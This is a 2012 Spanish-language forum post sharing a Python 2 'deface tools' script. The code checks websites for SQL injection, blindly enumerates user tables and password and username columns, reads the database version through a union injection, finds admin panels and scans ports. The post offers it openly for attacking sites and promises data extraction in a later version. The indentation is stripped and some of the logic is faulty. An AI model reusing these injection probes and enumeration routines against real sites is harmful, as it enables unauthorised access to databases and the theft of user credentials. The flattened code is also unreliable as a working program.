Deface Tools By Rune

Iniciado por Runex, 17 Marzo 2012, 19:23 PM

0 Miembros y 1 Visitante están viendo este tema.

Runex

La siguiente herramienta es un compendio de tools utilizadas en deface.
El programa consta de las siguientes características:
 
   ----> Admin Panel Finder
   ----> Check Vulnerability
   ----> Ascii To Hex
   ----> Ascii To Binary
   ----> Show Tables
   ----> Show Columns
   ----> Show Version DB
   ----> Port Scanner
   ----> View Web Code

Recuerdo que el programa no es sustituto de nuestras manos :) y solo sirve para inyecciones que salgan redondas, sin necesidad de modificar algún carácter o cualquier detalle mínimo.

Dejo aquí el code :)

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Autor: Rune
# Fecha: 17/03/12
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

import urllib,os,string


def check_ports(): #Funcion de escaneo de puertos
print """  
 _____            _      _____                                    
|  __ \          | |    / ____|                                  
| |__) |___  _ __| |_  | (___   ___  __ _ _ __  _ __   ___ _ __  
|  ___// _ \| '__| __|  \___ \ / __|/ _` | '_ \| '_ \ / _ \ '__|  
| |   | (_) | |  | |_   ____) | (__| (_| | | | | | | |  __/ |    
|_|    \___/|_|   \__| |_____/ \___|\__,_|_| |_|_| |_|\___|_|     """
                           
tablapuertos = []
errores = ["error","Error","inactiva","Inactiva","no ha podido establecer","!Vaya\xc2"]
print "\n\n [+] Port Scanner [+]"
print "\n[+] Introduce la web objetivo"
target = raw_input("\nTarget>")
print "\n[+] Escaneando puertos, puede llevar varios minutos..."
print "\n[+] Puertos escaneados:\n"
for puerto in range(0,65535): # Rango de 0, al total de puertos existente
try:
x = urllib.urlopen(target+":"+str(puerto))
for error in errores:
if error in x.read():
tablapuertos.append(puerto)
print "Puerto " + str(puerto)
except:
print "[-] No se ha podido establecer conexion con el servidor"
raw_input()
os.system("clear")
init()
if string.join(tablapuertos) == "":
print "[-] No se ha encontrado abierto ningun puerto"
raw_input()
os.system("clear")
init()
else:
print "\n [+] Puertos Abiertos [+]\n"
for elemento in tablapuertos:
print "----> " + elemento

def show_version(): # Funcion Mostrar Version
print """
  _____ _                    __      __            _            
 / ____| |                   \ \    / /           (_)            
| (___ | |__   _____      __  \ \  / /___ _ __ ___ _  ___  _ __  
 \___ \| '_ \ / _ \ \ /\ / /   \ \/ // _ \ '__/ __| |/ _ \| '_ \
 ____) | | | | (_) \ V  V /     \  /|  __/ |  \__ \ | (_) | | | |
|_____/|_| |_|\___/ \_/\_/       \/  \___|_|  |___/_|\___/|_| |_|
                                                                 """
print "\n\n [+] Show Version [+]"
tablaversiones = ["3.23","4.0.0","4.0.3","4.0.6","4.0.12","4.0.24","4.0.30","4.1.0","4.1.3","4.1.4","4.1.7","4.1.9","4.1.18","4.1.23","4.1.23","4.1.25","5.0.0","5.0.1","5.0.3","5.0.13","5.0.15","5.0.19","5.0.30","5.0.50","5.0.76","5.0.90","5.0.91","5.1.3","5.1.5","5.1.15","5.1.22","5.1.30","5.1.31","5.1.43","5.5.0","5.5.3"]
# Tablaversiones contiene todas las versiones de MySql hasta la actualidad
print "\n[+] Introduce la web objetivo"
version = ""
web = raw_input("Target>")
inyeccion = web + " and 1=0 union select @@version"
try:
t = urllib.urlopen(inyeccion).read()
for versionx in tablaversiones:
if versionx in t:
version = version + versionx
if version != "":
print "\n[+] La version del servidor SQL es --> " + version
raw_input()
os.system("clear")
init()
else:
print "\n[-] No se ha podido indentificar la version"
raw_input()
os.system("clear")
init()
except:
print "\n[-] No se ha podido realizar la inyeccion, compruebe la url"
raw_input()
os.system("clear")
init()

def show_columns2(): # Funcion Muestra columnas redireccionada desde init()
print """  
  _____ __                     ______       __                          
 / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
 \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
/____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n[+] Inserte la web objetivo"
web = raw_input("Target>")
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento)# Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs #Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()
 
   

def show_columns1(web,tabla): # Funcion mostrar columnas, redireccionada desde show_tables()
print """  
  _____ __                     ______       __                          
 / ___// /_  ____ _      __   / ____/____  / /__  ______ ___  ____  _____
 \__ \/ __ \/ __ \ | /| / /  / /    / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ /  / /___ / /_/ / // /_/ / / / / / / / / (__  )
/____/_/ /_/\____/|__/|__/   \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/  """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n [+] Tablas [+]"
for el in tabla: # Mostramos las tablas anteriormente encontradas para la visualizacion del usuario
print "----> " + el
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento) # Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs # Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()






def view_code():
print """
  _____           _       __      ___              
 / ____|         | |      \ \    / (_)              
| |      ___   __| | ___   \ \  / / _  _____      __
| |     / _ \ / _` |/ _ \   \ \/ / | |/ _ \ \ /\ / /
| |____| (_) | (_| |  __/    \  /  | |  __/\ V  V /
 \_____|\___/ \__,_|\___|     \/   |_|\___| \_/\_/  
                                                    """
print "\n\n [+] View Code [+]"
print "\n[+] Inserte la url de la web"
print "[+] El codigo tambien se guardara en un archivo"
url = raw_input("\nTarget>") # Introducimos la web objetivo
try:
x = urllib.urlopen(url).read() # Abrimos la web en modo lectura
except:
print "\n[-] La url no es valida"
raw_input()
os.system("clear")
init()
print x
web = url.replace("/","")  # Creamos una variable que sistituya los / por espacios en blanco para poder guardar el archivo
f = open(web+".txt","w") # Creamos un archivo con el nombre de la web en extension .txt
f.write(x) # Escribimos el codigo sobre el
f.close() # Y cerramos
print "\n[+] Pulse cualquier tecla para volver..."
raw_input()
os.system("clear")
init()



def vuln2(web): # Funcion de chequeo de vulnerabilidades 2
print """  
_    __       __                       __    _ ___ __      
| |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
                                                   /____/ """
                                                   
print "\n\n [+] Check Vulnerability [+]"
print "\n[+] Relizando un segundo escaneo..."
errores = ["Warning","Sql","MySql","warning","sql","SQL","MySQL"]
variable = 0
inyeccion = web + "'" # Declaramos la inyeccion, que sera igual que la web con comillas simples al final
try:
vulnerable = urllib.urlopen(inyeccion) # Abrimos la web
for error in errores:
if error in vulnerable.read(): # Y por cada error en la lista errores, si este error existe en el codigo, le sumamos 1 a variable
variable = variable + 1

if variable != 0: # Si variable es diferente de cero, indica que ha encontrado errores en el codigo, por tanto sera vulnerable
print "\n[+] El segundo escaneo indica que es vulnerable sin embargo, es de poca fiabilidad"
raw_input()
os.system("clear")
init()

else: # Al ser la variable igual que 0, no ha encontrado ningun error, y no es vulnerable
print "\n[-] Definitivamente la web no es vulnerable"
raw_input()
os.system("clear")
init()
except:
print " [-] Error en la comprobacion reeintente"
raw_input()
os.system("clear")
init()


def show_tables(): # Funcion Muestra Tablas
print """
  _____ __                     ______       __    __          
 / ___// /_  ____ _      __   /_  __/____ _/ /_  / /___  _____
 \__ \/ __ \/ __ \ | /| / /    / /  / __ `/ __ \/ // _ \/ ___/
___/ / / / / /_/ / |/ |/ /    / /  / /_/ / /_/ / //  __(__  )
/____/_/ /_/\____/|__/|__/    /_/   \__,_/_.___/_/ \___/____/ """
print "\n\n [+] Show Tables [+]"
tablas = ["users","admin","administrador","administrator","user","members","member","adm","nombres","cuentas","accounts","usuarios","wp-admin","wp-users"]
# Tablas de usuarios mas frecuentes ;)
tabla = [] # Lista vacia para almacenar las tablas encontradas
web = raw_input("\n\n[/]Target>")
print "[+] Localizando tablas de usuarios..."
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial en modo lectura
except:
print "[-] No se ha podido conectar al servidor, revise la url"
raw_input()
os.system("clear")
init()
for elemento in tablas:
inyeccion = " and (select(count(*)) from " + elemento + ");" # Declaramos el codigo de la inyeccion
try:
t = urllib.urlopen(web+inyeccion).read() # Abrimos la url de la web + inyeccion en modo lectura
except:
print "\n[-] No se ha podido realizar la inyeccion"
raw_input()
os.system("clear")
init()
if t == s: # Si el codigo no varia, la tabla es la que buscabamos
tabla.append(elemento) # Insertamos la tabla localizada en la lista vacia
print "\n\n [+] Tablas Encontradas [+] "
for el1 in tabla: # Y aqui las imprimimos
print "---> " + el1
print "\n[+] Quiere continuar extrayendo las columnas?" # Ahora nos da opcion de continuar o no con las columnas, si continuamos nos redirige a show_columns1()
print "0 ----> Si"
print "1 ----> No"
lecc = input("\n>")
if lecc == 0:
os.system("clear")
show_columns1(web,tabla)
else:
os.system("clear")
init()



def textTobin(): # Funcion encargada de convertir ascii a binario
print """
 ___           _ _   _____      ______ _      
/ _ \         (_|_) |_   _|     | ___ (_)      
/ /_\ \___  ___ _ _    | | ___   | |_/ /_ _ __  
|  _  / __|/ __| | |   | |/ _ \  | ___ \ | '_ \
| | | \__ \ (__| | |   | | (_) | | |_/ / | | | |
\_| |_/___/\___|_|_|   \_/\___/  \____/|_|_| |_|"""
                                                     
print "\n\n [+] Ascii To Bin [+]"
bina = ''
textoa = raw_input("\n\n[/] Texto Ascii>")
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en binario y posteriormente las concatenamos
bina = bina + bin(ord(letra))
bina = bina.replace('b','') #Sustituyendo las 'b' creadas por espacios en blanco
print bina
raw_input()
os.system("clear")
init()

def textTohex(): # Funcion encargada de convertir ascii a hexadecimal
print """
 ______            __     ______          __  __          
/_  __/___   _  __/ /_   /_  __/____     / / / /___   _  __
 / /  / _ \ | |/_/ __/    / /  / __ \   / /_/ // _ \ | |/_/
/ /  /  __/_>  </ /_     / /  / /_/ /  / __  //  __/_>  <  
/_/   \___//_/|_|\__/    /_/   \____/  /_/ /_/ \___//_/|_|"""
print "\n\n [+] Ascii To Hex [+]"
textoa = raw_input("\n\n[/]Texto Ascii>")
hexa = ''
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en hexadecimal y posteriormente las concatenamos
hexa = hexa + hex(ord(letra))
hexa = "0x%s" %hexa.replace('0x','') # Sustituyendo los '0x' creados por espacios en blanco menos el primero
print hexa
raw_input()
os.system("clear")
init()

def check_vuln(): # Funcion de chequeo de vulnerabilidades SQL
print """  
_    __       __                       __    _ ___ __      
| |  / /__  __/ /____  ___  _________ _/ /_  (_) (_) /___  __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / /  __/ /  / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/   \__,_/_.___/_/_/_/\__/\__, /  
                                                   /____/ """
                                                   
print "\n\n [+] Check Vulnerability [+]"
web = raw_input("\n\n[/]Target>")
print "\n[+] Comprobando vulnerabilidad"
comando1 = " and 1=1" # Comandos de la inyeccion 1
comando2 = " and 1=0" # Comandos de la inyeccion 2
try:
# Abrimos las diferentes urls, para compararlas posteriormente
n = urllib.urlopen(web).read()
p = urllib.urlopen(web+comando1).read()
t = urllib.urlopen(web+comando2).read()
if p != t and p==n: # Si la inyeccion and 1=1 es igual al codigo de la web normal y es diferente al codigo de 1 = 0 es Vulnerable
print "\n[+] El servidor es vulnerable a SQL, continue con la inyeccion"
raw_input()
os.system("clear")
init()
else: # De lo contrario la web no es vulnerable y nos da la opcion de realizar un 2 escaneo
print "\n[-] El servidor no es vulnerable a SQL en su primer escaneo, quiere realizar un segundo?"
print "\n0---->Si"
print "1---->No"
eleccion = input("\n>")
if eleccion == 0:
os.system("clear")
vuln2(web)
else:
raw_input()
os.system("clear")
init()

except:
print "[-] No se ha podido conectar al servidor, revise la Url"
raw_input()
os.system("clear")
init()

def buscaPanel(): # Funcion que localizara el admin panel
print """  
   ____                   __   _______            __          
  / __ \____ _____  ___  / /  / ____(_)____  ____/ /___  _____
 / /_/ / __ `/ __ \/ _ \/ /  / /_  / // __ \/ __  // _ \/ ___/
/ ____/ /_/ / / / /  __/ /  / __/ / // / / / /_/ //  __/ /    
/_/    \__,_/_/ /_/\___/_/  /_/   /_//_/ /_/\__,_/ \___/_/    
                                                              """
print "\n\n [+] Admin Panel Finder [+]"
s = raw_input("\n\n[/]Target>")  # Introducimos la web a investigar
f = open("Paneles.txt","r") #Abrimos el archivo Paneles.txt que contiene los paneles mas frecuentes
tabla =[]
i = 0
try:
p = urllib.urlopen(s + "/dasfdsdvd").read() # Leemos el codigo de una pagina inexistente en la web
print "[+] Buscando paneles, esta busqueda puede tomar varios segundos/minutos"
for elemento in f.readlines(): # Leemos las lineas del archivo de texto, cada linea contiene un panel
t = urllib.urlopen(s+elemento).read() # Y abrimos en modo lectura, la url de la web + el panel
if t != p: # Si el codigo del panel es diferente al de la web inexistente, Bingo! (Problema) Puede mostrar errores distintos, "mejorar nueva version"
tabla2 = tabla.insert(i,elemento) # Guarda en una lista los paneles encontrados
print "\n [+] Paneles encontrados:\n"
for x in tabla:
print s + x # Y aqui los muestra
raw_input()
os.system("clear")
init()
except:
print "[-] Ningun Panel Encontrado / Web invalida"
raw_input()
os.system("clear")
init()
def init():
print """  
   ____       ____                    __              __    
  / __ \___  / __/____ _________     / /_____  ____  / /_____
 / / / / _ \/ /_ / __ `/ ___/ _ \   / __/ __ \/ __ \/ // ___/
/ /_/ /  __/ __// /_/ / /__/  __/  / /_/ /_/ / /_/ / /(__  )
/_____/\___/_/   \__,_/\___/\___/   \__/\____/\____/_//____/ """
print "\n\n [+] Menu Principal[+]\n "
print "0------> Admin Panel Finder"
print "1------> Check Vulnerability"
print "2------> Ascii To Hex"
print "3------> Ascii To Binary"
print "4------> Show Tables"
print "5------> Show Columns"
print "6------> Show Version DB"
print "7------> Port Scanner"
print "8------> View Web Code\n"
eleccion = input("[/] Que desea hacer?>")
if eleccion == 0:
os.system("clear")
buscaPanel()
elif eleccion == 1:
os.system("clear")
check_vuln()
elif eleccion == 2:
os.system("clear")
textTohex()
elif eleccion == 3:
os.system("clear")
textTobin()
elif eleccion == 4:
os.system("clear")
show_tables()
elif eleccion == 5:
os.system("clear")
show_columns2()
elif eleccion == 6:
os.system("clear")
show_version()
elif eleccion == 7:
os.system("clear")
check_ports()
elif eleccion == 8:
os.system("clear")
view_code()
else:
print "[-] El numero introducido no es valido"
raw_input()
os.system("clear")
init()
init()

# The End!



Y eso es todo compañeros, espero que sea de vuestro agrado, hay algunos errores, pero generalmente funciona bien.
En posteriores versiones implementaré la opción de extraer datos de las columnas :)

Un saludo :)

"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".